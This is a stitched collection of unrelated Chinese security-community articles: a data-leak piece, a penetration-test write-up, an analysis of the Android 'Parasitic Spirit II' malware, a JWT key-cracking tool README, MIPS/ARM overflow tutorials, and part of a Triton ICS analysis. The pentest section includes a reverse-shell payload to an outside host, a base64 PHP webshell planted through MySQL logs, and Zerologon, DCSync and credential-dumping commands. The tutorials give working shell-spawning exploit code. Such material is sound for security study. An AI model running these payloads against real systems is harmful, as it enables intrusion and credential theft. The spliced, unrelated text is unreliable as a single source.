对于越大的组织，进行越全面的监控，其数据量越庞大，一个具备一定规模的组织获取到的公共网络数据可能达到数万条以上。以往通过人工逐一筛查其风险性，效率极低且有可能遗漏本就不多的关键信息。所以对大量数据进行智能化的优先级排序就显得尤为重要。通过合理的算法和规则不断优化数据风险等级的赋值，以及抽取关键信息，以供安全运维人员和安全专家进行高效研判，才能取得有效的成果和价值。
## 四、隐私数据泄露与组织员工数据泄露
无论是组织存储的业务数据中的个人隐私数据，还是组织员工（尤其是组织的重要角色）的个人隐私数据泄露，都是非常严重的事情。它不仅会对组织带来业务上的风险，还会引来品牌和名誉的损失，更重要的是这可能会触犯《网络安全法》《数据安全法》和《个人信息保护法》。
与组织的业务数据等泄露不同，个人隐私数据有3个很重要的特点：
**1\. 利用难度低、命中率高、其风险极高。**
个人隐私数据一旦泄露，尤其是手机号、邮箱、密码、卡号等信息的泄露，极易成为黑客利用的首选手段，可能会导致钓鱼或其他社会工程学攻击；
**2\. 直接损失大、间接损失影响深远。**
如果组织员工的个人隐私数据，尤其是组织VIP的个人隐私数据泄露，攻击者很有可能直接通过登录其邮箱、CRM系统、OA系统、业务系统、钉钉、VPN等，获取组织敏感信息甚至核心数据（在不进行其他技术攻击和渗透的情况下即可完成）。攻击者还可以进行其他扩展性攻击，比如对个人账单、银行流水、消费记录、住宿记录等进行查询和其他处置，它的影响是极其深远的；
**3\. 告警和处置难度高。**
相对于其获取难度而言，个人隐私数据泄露的告警难度极高。在暗网中，流传着大量个人隐私数据（其聚合数据也被称为“社工库”），对于专业的攻击者来说，获得它们的难度和成本并不高。但是对于防御者来说，受制于法律法规的限制、因引起当事人不悦而导致无法授权、以及避免数据被恶意使用等情况的考虑，具备此能力的情报厂商很难将此类情报完整地提供给相关组织。而相关组织的安全管理员无论是否获得了完整的情报信息，在设法通知隐私数据被泄露的本人进行处置时，往往沟通过程会受到诸多质疑、不悦、无视、挑战等态度，导致处置起来比系统漏洞的难度更高。
_隐私数据泄露面临的是利用简单、命中率高、损失大、影响深远，风险极大，却难以告警和处置的局面。_
情报触达率低、使用率低，并不代表它们不存在。事实上，大量个人信息和隐私数据正在暗网中长期流传。根据Identity Theft Resource
Center
（ITRC）2021提供的数据，仅在2021年泄露的个人隐私数据，影响人员已高达18亿以上，造成的直接损失在265至270亿美元，而它们从泄露到发现的平均时间长达112天。对此，欧盟根据《通用数据保护条例》（GDPR）在2021年第三季度开出的罚单就超过了2020年全年的3倍以上，达到11.4亿美元。
目前我国对于数据安全、个人信息保护等方面的治理力度大幅加强，已出台和执行相关法律法规。但在相关从业者认知的提升、管理责任的落实、情报的合理使用等方面，尚需要加强和时间的沉淀。 | 社区文章 |
# 一步步获取你的核心权限
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：<https://mp.weixin.qq.com/s/I0NdzzFIkpQK6XtyQiEIng>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
最近都在做渗透测试项目，并不需要内网渗透，少了很多的成就感。于是，找了一个授权的企业项目，目标是获取内网核心权限，手段不限。这就好说了，就喜欢这种能让我胡乱来的目标。
## 入口
对于企业而言，散落在外的资产肯定还有不少，于是为了快速打点，先进行一波常规的信息收集。先进行了子域名爆破、fofa、谷歌等方式找到多个子域，通过其中一个子域名反查找IP，在历史解析记录中找到了真实的IP，再继续进行C段端口扫描，收集到了多个资产列表。扔进XRAY跑一波，在其中的一个资产中，发现了存在shiro反序列话漏洞，手工来测试一下：
github上找个了工具尝试一下，发现可以执行命令：
查看了一下进程后，发现web是以jar包启动的，无法直接写入shell，直接尝试写内存shell：
成功写入了蚁剑的shell，先本地配置一下，并设置Accept-Header为:thisIsMyJob!@
设置好后直接连接，获取webshell：
## 内网漫游
翻看了一下这台linux上的文件，由于linux权限不够，无法查看shadow，尝试提权也均失败了，查看历史命令、计划任务等，并未有什么收获。只能下载jar包下来分析，找到了mysql数据库的配置密码。于是先探测一下内网，看能否快速的拿到其他主机的权限，不行再从数据库入手看看。
因此，先做了个代理，配置一下frp，先上传客户端到web上，修改了一下frpc.ini文件，使用sock代理：
自己的VPS上传服务端，修改一下权限，直接执行./frps -c frps.ini：
然后回到客户端执行一下./frpc -c frpc.ini，即可使用。
本地使用proxifier代理一下：
先使用弱口令爆破工具爆破一波看看，果然有点东西，找到了两台linux弱口令：
继续翻文件，还是一无所获，浪费了很多时间。可能核心业务不在linux上，尝试一下能否获取一个windows权限。先试试ms17-010漏洞，先生成一个木马：
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=2233 -f elf
> linux.elf
上传到web上，本地msf监听一下：
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp show
options set LHOST 1.1.1.1 set LPORT 23333 run
在web的命令行下给linux.elf添加执行权限后直接运行，即可获取到meterpreter。然后再添加一下路由：
使用17-010扫描模块跑一下：
未扫到任何漏洞，怀疑是不是哪里有问题，本地代理用工具再跑一次：
确实不存在，这补丁确实都打了，白忙活了一场。想到之前还有个数据库的连接串还没利用，可能还有点搞头。由于之前代理过了，直接使用navicat连接数据库，查看一下mysql版本是5.7：
由于secure-file-priv的存在，无法尝试提权。nmap扫描了一下数据库的ip地址，发现8090端口还存在一个php系统，服务器是server。于是先查询一下mysql的数据库文件路径，发现不是phpstudy或者wamp等软件一键搭建的：
可要想获取shell，前提要得到web路径，才能写入木马，通过web报错页面、目录扫描都未获取到。于是开始尝试一下IIS的默认路径c:\Inetpub\wwwroot\，写入后访问不到。想到mysql是放在d盘下，因此尝试d盘的d:\www、d:\Inetpub\wwwroot\、d:\data等路径，都没访问到，最终随手测了下d:\web，竟成功写入。通过mysql慢日志写shell过程如下：
set global slow_query_log=’ON’; set global
slow_query_log_file=’D:/web/cmd.php’; select ‘<?php echo
system($_GET[123]);?>’ or sleep(11); set global slow_query_log=’OFF’;
由于存在杀软，普通的一句话木马直接被杀，因此重新写入一个冰蝎的马：
set global slow_query_log=’ON’; set global slow_query_log_file=’D:/web/t.php’;
select ‘<?php
file_put_contents(“.1.php”,base64_decode(“PD9waHAKQGVyc**yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zd**iIik7CgkJCgkJZ**yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7CiA/PiA=”));?>’
or sleep(11); set global slow_query_log=’OFF’;
写入后直接访问t.php，重新生成.1.php的冰蝎马，直接连接：
查看一下系统权限，有点低：
查看一下ip地址：
由于是该台服务器server2012，无法直接获取windows密码，且存在国外某某科技的杀软，已有的提权工具都被杀了，技术不行绕不过，还是换个思路。
于是，开始翻找文件，看是否会有敏感信息。在服务器上发现多套源码，在其中的一个文件里发现了配置信息：
尝试连接数据库，失败！！
通过这收集到的密码，再做成密码字典，开始爆破C段的RDP、mysql、sqlserver、ftp等服务：
爆破后，发现是当前服务器的administrator密码，通过之前的端口信息收集发现开放了3389端口，可以远程登录。
还是继续进行信息收集，查看当前服务器是否是域内机器，若存在域就相对好很多。执行:
net time /domain
发现是存在域的。查看一下域控机器：
net group “domain controllers” /domain
获取一下域控的IP地址：
目前知道当前的机器在域内，并有了服务器的管理员权限。可以尝试通过导出hash的方式获取域账号信息，再进行PTH。因此，直接远程连接，右键导出lsass.exe进程的dump文件，再上传免杀的mimikatz进行读取，但最终读取失败：
看来只能通过其他方法了，联想到前不久爆出的NetLogon权限提升漏洞，可以尝试一下，毕竟时间过得不久，可能都还没打补丁。
使用github上的搜到的脚本尝试一下，先验证是否存在漏洞：
python3 zerologon_tester.py DC 10.100.1.231
返回success，表示存在漏洞。
使用cve-2020-1472-exploit.py将机器账户重置：
使用DCSync导出域内所有用户凭据：
通过wmic进行pass the hash，可拿到域控制器中的管理员权限：
至此，已经拿到核心权限了，截了个图，赶紧恢复一下机器账号的密码，不然脱域问题就大了。
先导出SAM数据库文件，下载回来后，记得删除：
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save
通过sam等文件获得原ntlm hash：
python3 secretsdump.py -sam sam.save -system system.save -security
security.save LOCAL
通过获取到的$MACHINE.ACC账户的hash，进行恢复：
## 总结
这次的渗透，主要是通过外网的shiro漏洞上传内存马，快速打点，以此做跳板进入内网。再通过源码获取数据库配置文件，尝试获取到数据库服务器的普通权限后，继续信息收集，获取到本地管理员权限，发现服务器在域内，且存在NetLogon漏洞，此后成功获取域控。 | 社区文章 |
# 揪出底层的幽灵：深挖寄生灵Ⅱ
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
前不久，360核心安全团队拦截到一款安卓系统级病毒“寄生灵Ⅱ”，第一时间向广大用户发出了预警——[《警惕！寄生灵卷土重来，数十万用户遭殃》](https://www.anquanke.com/post/id/104052)。该病毒寄生于色情应用中，一边霸屏推广色情应用，一边暗中消耗用户话费非法获益，给用户带来了经济上的损失和精神上的烦恼。
相比“寄生灵一代”，二代病毒自身使用了大量加密代码，恶意功能全部云端加载，使得恶意行为更难发现，取证更难进行。鉴于此种情况，360核心安全团队对此病毒进行了进一步跟踪和分析，从冰山一角逐渐挖掘出一条完整的“寄生灵”进化链。
## 二、传播途径
“寄生灵Ⅱ”众多变种分析结果显示，其主要寄生宿主为色情应用和被篡改的热门游戏，其中色情应用居首，占比接近3/4，篡改的热门游戏位居第二占比约15.5%。
“寄生灵Ⅱ”病毒传播途径
### 1\. 色情应用
在浏览网页时，难免会遇到“不可描述”的网页突然弹出，如果你刚好手滑键戳到了“进入”，不用多说，下一个页面一定是穿着暴露小姐姐和从来都没有变的套路——“下载客户端”、“需要安装播放器”、“浏览器版本过低”等等。
“寄生灵Ⅱ”病毒相关的色情类网站
据统计，此类应用的图标和名称往往充满诱惑，诱导用户安装，此外这些携带病毒的色情应用不仅通过此类色情类网站传播，还通过不正规的第三方应用市场疯狂传播。
如果用户按照提示完成了安装，“寄生灵Ⅱ”便成功寄生在用户手机上。
“寄生灵Ⅱ”病毒寄生的色情类应用
### 2\. 篡改的热门游戏
“寄生灵Ⅱ”病毒还通过一些被篡改的热门游戏应用进行传播，如“绝地求生”、“消灭星星”、“跳一跳”、“小小神枪手”等等。如果用户安全意识薄弱，未通过官方或正规第三方电子市场下载安装此类应用，很容易被病毒感染。
“寄生灵Ⅱ”病毒寄生的热门游戏
在此360核心安全团队提醒广大网友，要想手机不中毒，必须养成良好的上网习惯，拒绝安装来路不明的手机软件。
## 三、感染量统计
据360核心安全团队监测数据显示，“寄生灵Ⅱ”从2018年2月开始呈现爆发式增长，平均月新增感染量接近20W，累计感染量已达70W。
“寄生灵Ⅱ”病毒感染趋势统计
被“寄生灵Ⅱ”感染的用户遍布全国所有省份，其中，广东、河南、河北是病毒感染的重灾区，排名前十省份占全国感染总量的60.1%。
“寄生灵Ⅱ”病毒感染省份分布统计
按城市统计，“寄生灵Ⅱ”感染量最多的十个城市中，重庆、成都、广州感染量居前三位。
“寄生灵Ⅱ”病毒感染城市统计
被感染手机的厂商具有一定的集中性，前5已经达到75%，特别是第一名的厂商，超过了4成，具体分布如下图所示。
“寄生灵Ⅱ”病毒感染手机厂商分布
受“寄生灵Ⅱ”病毒影响的Android系统版本也是非常的广泛，主要集中在Android5.1和Android4.4，具体分布如下图所示。
“寄生灵Ⅱ”感染的Android系统版本统计
## 四、详细分析
在对大量“寄生灵”病毒家族分析中，360核心安全团队将其分为了五个阶段，每个阶段的变化和时间点如下：
“寄生灵”病毒家族演化过程
“寄生灵Ⅱ”病毒执行流程如下图所示：
“寄生灵Ⅱ”病毒执行流程
“寄生灵Ⅱ”病毒母包色情应用主要包括两大模块：
1. 广告推送&扣费模块
2. 病毒模块
两个模块的主要功能如下：
1. 广告推送&扣费模块：
该模块实现私自发送短信订购服务、恶意扣费、频繁推送广告的功能。
2. 病毒模块：
实现病毒核心恶意推广功能。
## 4.1 广告推送和扣费模块
广告推送和扣费模块集成了大量第三方支付方式，协助病毒实现暗中发送短信订购服务，达到恶意扣费非法获利的目的。频繁弹出的广告在点击之后会下载更多应用，使手机变慢变卡，严重影响手机正常使用。
广告推送&扣费模块主功能Jar包由APK释放，根据不同的APK，主功能Jar包的文件名有所不同。Jar包运行后生成的主要文件：
除了云*支付、云*支付，该模块还集成了大量第三方支付方式：
“寄生灵Ⅱ”病毒集成的第三方支付
这些集成在恶意应用的第三方支付，为病毒的发送并拦截短信、私自订购服务、实现恶意扣费功能提供了支持，造成用户的资费损失。
## 4.2 病毒结构详细分析
病毒模块由母包APK释放的“tongyu-pay-lib.apk”和“opa_link.jar”，以及云端服务器下载的系统级核心模块组成：
### 1) tongyu-pay-lib
APK释放、加载tongyu-pay-lib.apk，并对其版本进行检测更新：
更新病毒模块tongyu-pay-lib
tongyu-pay-lib会联网下载 l18141.zip ：
下载 l18141.zip
加密的URL
解密后的URL
l18141.zip 是一个经过加密的数据包，执行解密代码如下：
解密代码
解密代码
得到正常压缩包gameid.zip，解压ZIP包后，得到冒充“友盟”的so文件：
伪装“友盟”的so文件
tongyu-pay-lib.apk调用libumeng.so导出的load_native函数去加载母包APK释放的opa_link.jar：
load_native加载opa_link.jar
### 2) opa_link
opa_link为寄生灵Ⅱ病毒的核心主体框架，其功能为释放病毒的底层核心模块：首先发送经过DES加密的HTTP请求，返回的JSON对象如下：
病毒获取的JSON数据
解析获取病毒底层核心模块的URL地址，然后到云端服务器下载文件，下载的文件经过加密：
“寄生灵Ⅱ”经过加密的ELF文件
执行解密代码：
“寄生灵Ⅱ”病毒解密代码
得到寄生灵Ⅱ病毒的底层核心功能so文件：
“寄生灵Ⅱ”底层核心功能so文件
### 3) 底层核心功能
“寄生灵Ⅱ”病毒的底层核心功能框架如图所示：
“寄生灵Ⅱ”底层核心功能框架
“寄生灵Ⅱ”ELF层主要分为三个模块：
**初始化模块**
启动模块运行创建两个线程：执行命令“mount -o remount,rw
/system”，以可读写的方式加载/system分区，分别将/sdcard/.mnodir 路径下的启动脚本和病毒核心模块拷贝到 /system/etc
和 /system/xbin 目录下并修改为可执行权限，最后删除清理掉原 /sdcard/.mnodir 下的文件。
“寄生灵Ⅱ”底层初始化模块
**启动脚本**
执行supolicy命令对病毒核心模块的执行模式修改为宽容模式后，启动病毒核心模块。改为宽容模式的目的是为了在运行时，程序依然有权限执行它们想执行的那些动作。在Permissive模式下运行的程序不会被SELinux的安全策略保护。
“寄生灵Ⅱ”启动脚本
**病毒核心推广模块**
1、判断病毒核心文件是否存在
这类文件在Root权限下执行命令，获取 /data/data 目录下安装程序的信息。病毒母包会在 /system/bin和/system/xbin
下创建这类文件。
若上述文件不存在，则读取/system/etc/.rac，rac文件中记录该模块的文件名。目前获取到的相关可疑路径名如下：
2、执行命令“sentenforce 0”，关闭SeLinux
3、获取手机隐私数据，上传至服务器
访问文件/system/etc/.uuidres或/sdcard/android/data/vs/.uuidres，若该文件存在，则取出字符串。该字符串作为后面POST信息的“ID”；若不存在，则结合随机数、进程ID、日期等生成字符串写入。
访问配置文件
结合随机数、进程ID、日期等生成字符串
.uuidres文件内容
访问文件/system/etc/.chlres或/sdcard/android/data/vs/.chlres，若不存在，则将字符串“cyh00011810”写入，该字符串作为访问服务器的“凭证”。
.chlres文件内容
获取Android版本号、sdk版本号、厂商信息，调用iphonesubinfo（service call iphonesubinfo
num）服务，获取sim卡的信息（手机制式、DeviceId、IMEI）。
获取sim卡的信息
获取MAC地址、IP地址等网络信息。
获取MAC地址、IP地址等网络信息
获取内存使用情况。
获取内存使用情况
获取已安装应用的安装包信息。
获取已安装应用的安装包信息
获取的用户信息
使用样本内置中的RSA公钥对上一步窃取的信息进行加密，并将加密的数据包发送到服务器，IP地址为47.91.*.180。
RSA公钥
加密后的用户信息
POST数据包头
4、从服务器获取恶意推广应用
对返回的数据包进行RSA解密，得到下载应用的URL信息。
接收到的HTTP数据包
RSA私钥
发送GET包到服务器 xgaxp.******.com 获取恶意推广应用列表。
GET数据包
安装APK：从云端获取到推广的APK为ZIP包，位于/sdcard/.downF/apps路径下，文件名为“A+随机数.temp”，对其进行解密，生成APK文件。
解压ZIP包
将APK文件写入/system/priv-app，成为系统级应用，获得更多的权限。
内置应用
安装完成后执行命令“am startservice
”启动恶意推广应用，并以插屏、循环轮播的方式频繁弹出广告，且点击之后可下载其他更多应用软件。不但容易造成用户手机流量损失，还影响用户手机正常使用；广告类型包括美女视频、红包领取、小说网站等等。
恶意推广的插屏广告
## 五、 相关C&C服务器信息
“寄生灵Ⅱ”病毒相关IP地址：
“寄生灵Ⅱ”病毒相关域名：
##
## 六、安全建议
**360核心安全团队建议**
，来源不明的手机软件、安装包、文件包等不要随意点击下载；手机上网时，对于不明链接、安全性未知的二维码等信息不随意点击或扫描；使用360手机卫士等手机安全软件定期查杀手机病毒，养成良好的手机使用习惯。同时，建议及时安装更新固件。
为了您的资金和隐私安全，如果手机出现了文中提到的现象，请使用360手机急救箱进行全面查杀。目前，最新版360手机急救箱已支持对“寄生灵Ⅱ”的查杀。 | 社区文章 |
# JWTPyCrack
JWT 弱口令 Key 爆破以及生成 NONE 加密的无 Key 的 JWTString。
# 环境
> Python >= 3
>
> pip install pyjwt
# 使用
该脚本能实现两种攻击方式：禁用哈希重新生成JWT字符串攻击、批量爆破弱密钥
## 禁用哈希
> python jwtcrack.py -m generate -s {\"admin\":\"True\"}
## 批量爆破弱密钥
> python jwtcrack.py -m blasting -s
> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.keH6T3x1z7mmhKL1T3r9sQdAxxdzB6siemGMr_6ZOwU
> --kf C:\Users\Ch1ng\Desktop\2.txt
# 感谢
<https://www.freebuf.com/vuls/211842.html>
# 法律
> 该项目仅供合法的渗透测试以及爱好者参考学习，请勿用于非法用途，否则自行承担相关责任！ | 社区文章 |
# 路由器溢出漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## MIPS和ARM溢出漏洞
### MIPS堆栈原理
栈是一种先进后出队列特性的数据结构。栈可以用来传递函数参数、存储返回值、保存寄存器，MIPS32架构的函数调用对栈
的分配和使用使用方式与x86架构的特性有相似之处，但同时也有很大区别。
### 1\. MIPS
#### 1.1 MIPS32架构堆栈
MIPS指令系统，采用的是精简指令集。
MIPS32与x86不同之处:
**栈操作**
两者都向低地址增长。MIPS32架构中没有EBP(栈底指针)，进入一个函数，采用栈偏移的方式。所以栈的出栈和入栈都指定偏移量来实现。
**参数传递**
MIPS32架构前4个传入的参数通过$a0-$a3传递。如果函数参数超过4个，多余的参数会被放入调用参数空间(栈预留的一部分空间)。x86架构下所有参数都是通过堆栈传递。
**返回地址**
x86架构中，使用call指令调用函数，会先将当前执行位置压入堆栈。MIPS32的函数调用把函数的返回地址直接放入$RA寄存器中，而不是放入堆栈中。
#### 1.2 函数调用的栈布局
叶子函数和非叶子函数
**叶子函数**
函数中不在调用其他函数
**非叶子函数**
函数中调用其他函数
**函数调用过程**
例子
#include <stdio.h>
int more_arg(int a,int b,int c,int d,int e)
{
char dst[100] = {0};
sprintf(dst,"%d%d%d%d\n",a,b,c,d,e);
}
int main(int argc,char *argv[])
{
int a1 = 1;
int a2 = 2;
int a3 = 3;
int a4 = 4;
int a5 = 5;
more_arg(a1,a2,a3,a4,a5);
}
编译
$ mipsel-linux-gnu-gcc -static mips_call.c -o mipsCall
IDA查看文件
主函数
v_a1-v_a4变量存放在$a0-$a3,v_a5存放在栈分配的空间上
more_arg函数
与主函数一样，调用sprintf函数时，前4个参数存入$a0-$a3寄存器中，其余的放入堆栈空间中
### 2\. MIPS缓冲区溢出
缓冲区溢出就是大缓冲区数据向小缓冲区数据复制的过程中，没有检查小缓冲区的大小，导致小缓冲区无法接收大缓冲区数据而因而破坏程序运行，获取程序乃至系统的控制权。
例子
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256] = {0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData)){
fileLen = fileData.st_size;
}else{
return;
}
if((fp = fopen("passwd","rb")) == NULL){
printf("Cannot open file passwd!\n");
exit(1);
}
ch = fgetc(fp);
while(count <= fileLen){
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(strcmp(buf,"adminpwd") != 0){
do_system(count,"ls -l");
}else{
printf("you have an invalid password!\n");
}
fclose(fp);
}
由源码可以看到，读取文件数据时候并没有对数据做限制。buffer缓冲区大小只有256字节，文件数据内容过大导致最终溢出。
#### 2.1 测试
$ mipsel-linux-gnu-gcc --static overflow.c -o overflow
$ python -c "print 'A' * 600" > passwd
$ qemu-mipsel-static overflow
程序崩溃
**IDA调试**
定位saved_ra地址
下断点
查看saved_ra发生异常之前数据
查看发生异常时saved_ra地址被脏数据覆盖
#### 2.2 劫持执行流程
查看缓冲区大小及栈空间
buf 缓冲区大小为256字节
passwd文件600字节
buf空间所占大小为0x1A0
计算所要覆盖的数据大小 :0x1A0 – 0x4 = 0x19C(412)
#### 2.3 确定偏移
使用工具
$ python patternLocOffset.py -s 0x6E41376E -l 600
#### 2.4 确定攻击方式
漏洞程序有一个函数do_system_0函数
查找gadget
.text:00401FA0 addiu $a1, $sp, 0x58+var_40(24) # a1->命令字符串
.text:00401FA4 lw $ra, 0x58+var_4($sp) ($sp(84)) # do_system函数地址
.text:00401FA8 sltiu $v0, 1
.text:00401FAC jr $ra
.text:00401FB0 addiu $sp, 0x58
### 3\. POC
from pwn import *
context.endian = "little"
context.arch = "mips"
gadget = 0x00401FA0
system_addr = 0x00400390
cmd = "sh"
cmd += "\x00" * (4 - (len(cmd) % 4))
padding = 'A' * 0x19C
padding += p32(gadget)
padding += 'A' * 24
padding += cmd
padding += "B" * (0x3C - len(cmd))
padding += p32(system_addr)
padding += "TTTT"
with open('passwd','w')as f:
f.write(padding)
print 'ok!'
### 4\. 实战分析
大家可以参考我的文章DIR-645路由器溢出漏洞分析。
### ARM堆栈原理
栈是一种先进后出队列特性的数据结构。栈可以用来传递函数参数、存储返回值、保存寄存器，ARM架构的函数调用对栈
的分配和使用使用方式与x86架构的特性有相似之处，但同时也有很大区别。
### 1\. ARM
#### 1.1 ARM架构堆栈
ARM指令系统，采用的是精简指令集。
ARM与x86不同之处:
**栈操作**
两者都向低地址增长。ARM采用POP和PUSH指令操作堆栈的入栈和出栈。
**参数传递**
ARM架构前4个传入的参数通过$R0-$R3传递。如果函数参数超过4个，多余的参数会被放入调用参数空间(栈预留的一部分空间)。x86架构下所有参数都是通过堆栈传递
**返回地址**
x86架构中，使用call指令调用函数，会先将当前执行位置压入堆栈。ARM架构中，使用B跳转，跳转到另一个指令PC上，PC 总是指向要执行的下一条指令。
#### 1.2 函数调用的栈布局
同上例子
打开IDA查看
#### 1.3 ARM工作状态(ARM、Thumb)
CPSR程序状态寄存器 — 查看ARM工作状态
N Z C V Q DNM(RAZ) I F T M4 M3 M2 M1 M0
N、Z、C、V 条件码标志
N: 在结果是有符号的二进制补码的情况下，如果结果为负数，则N=1;如果结果为非负数，则N=0
Z: 如果结果为0，则Z=1;如果结果为非零，则Z=0
C: 设置分一下几种情况
加法指令,如果产生进位，C=1否则C=0
减法指令，如果产生借位，C=0;否则C=1
对于有移位操作的非法指令，C为移位操作中最后移除位的值
T: 工作状态 T=1 Thumb T=0 ARM
### 2\. ARM缓冲区溢出
使用CTF的一道题目
#### 2.1 测试
$ qemu-arm-static ./arm_pwn3
考虑对输入内容长度没有校验
随机生成500个字符串,程序发生段错误
#### 2.2 劫持执行流程并确定偏移
动态调试
$ qemu-arm-static -g 1234 ./arm_pwn3
捕获错误
计算偏移
$ cyclic 500
$ cyclic -l 0x6261616a
136
查看当前程序状态寄存器
这里涉及到ARM状态（LSB=0）和Thumb状态（LSB=1）的切换，栈上内容弹出到PC寄存器时，其最低有效位（LSB）将被写入CPSR寄存器的T位，而PC本身的LSB被设置为0。此时在gdb中执行`p/t
$cpsr`以二进制格式显示CPSR寄存器。在 Thumb(v1) 状态下存储当前指令加 4（两条 Thumb 指令）的地址，需要在报错的地址加1。
当前T=1即位Thumb状态
$ cyclic -l 0x6261616b
140
#### 2.3 确定攻击方式
查看程序开启哪些防护
NX:栈上不可执行shellcode
查找程序可用gadget
可以看到程序一开始会读取banner.txt文件
回溯发现该函数就是system函数
确定system函数位置0x1480C
查看有啥现有字符串可以用作system函数参数
/bin/sh 字符串地址 0x49018
查找合适的ROPgadget
$ ROPgadget --binary arm_pwn3 --only "pop | ret"
pop {r0,r4,pc} ;将堆栈中的数据弹出到r0,r4,pc寄存器中
;pc寄存器指向要执行的下一条指令
思路:
140偏移 + gadget地址 + /bin/sh参数 + 0占位 + system函数地址
### 3\. POC
from pwn import *
p = process(['qemu-arm-static','-g','1234','./arm_pwn3'])
system_addr = 0x1480C
bin_sh_addr = 0x49018
pop_r0_r4 = 0x1fb5c
payload = 'A' * 140 + p32(pop_r0_r4) + p32(bin_sh_addr) + p32(0) + p32(system_addr + 1)
p.sendlineafter("buffer: ",payload)
pause()
p.interactive()
测试发生报错
查看当前CPSP发现T=1，system函数地址加1,测试如下
### 4\. 实战分析
后续会发布一篇某款ARM架构的路由器栈溢出漏洞分析文章。
## 参考
<https://www.anquanke.com/post/id/204326>
<https://blog.csdn.net/qq_43116977/article/details/105341940> | 社区文章 |
# 攻击者部署ICS攻击框架“Triton”导致关键基础设施中断服务（下）
|
##### 译文声明
本文是翻译文章，文章原作者 Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan
Brubaker, Christopher Glyer，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html>
译文仅供参考，具体内容表达以及含义原文为准。
> 本文是Fireeye针对一次工业安全系统攻击事件的分析，本文是该文章的上下部分，主要介绍了威胁模型、攻击场景以及技术分析。
## 传送门
[攻击者部署ICS攻击框架“Triton”导致关键基础设施中断服务（上）](https://www.anquanke.com/post/id/91002)
## 五、安全仪表系统威胁模型及攻击场景
图2. 网络安全及控制安全的时间关系图
针对ICS的破坏性攻击活动的生命周期与其他类型的网络攻击类似，但其中存在几个关键的区别点。首先，攻击者的任务是破坏正常业务流程，而不是窃取数据。其次，攻击者必须事先侦察OT信息，具备足够多的专业知识才能理解如何控制工业生产流程并成功操纵该流程。
图2表示的是工业流程控制环境中网络安全及安全控制之间的关系。即使网络安全防护措施失效，安全控制也可以防止出现物理损害后果。为了能让攻击活动造成最大程度的物理损坏，网络攻击者还需要绕过安全控制机制。
成功搞定SIS后，攻击者可以通过各种方式发起后续攻击活动，SIS威胁模型如下所示：
**攻击选项1：** 使用SIS关闭生产流程。
场景：攻击者可以重新编程SIS业务逻辑，关闭实际上处于安全状态的某个生产流程。换句话说，攻击者可以让SIS出现误报。
后果：由于生产流程停滞，工厂重启该流程的程序非常复杂，因此会带来资金损失。
**攻击选项2：** 重新编程SIS以允许不安全状态存在
场景：攻击者可以重新编程SIS业务逻辑，允许不安全状态持续存在。
后果：由于SIS无法正常发挥作用，导致安全风险提高，容易造成物理损坏后果（如对生产设备、产品、生产环境以及人身安全带来影响）。
**攻击选项3：** 重新编程SIS以允许不安全状态存在，同时使用DCS来创建不安全的状态或危险状态。
场景：攻击者可以使用DCS来操控生产流程，将其置于不安全状态中，同时阻止SIS正常发挥作用。
后果：会影响人身安全、生产环境安全，也会对生产设备造成损坏，损坏程度取决于生产流程所受的物理限制条件以及工厂整体设计方案。
## 六、攻击意图分析
我们有一定的把握认为攻击者的长期目标是研发能够导致物理损坏后果的攻击能力。之所以得出这个结论，原因是攻击者最初在搞定DCS并站稳脚跟后，他们本可以操控生产流程或者关闭整个工厂，然而他们却选择继续攻击SIS系统。一旦搞定DCS以及SIS系统，攻击者就可以实施攻击行为，在工厂的物理及机械限制条件内造成最大程度的损坏。
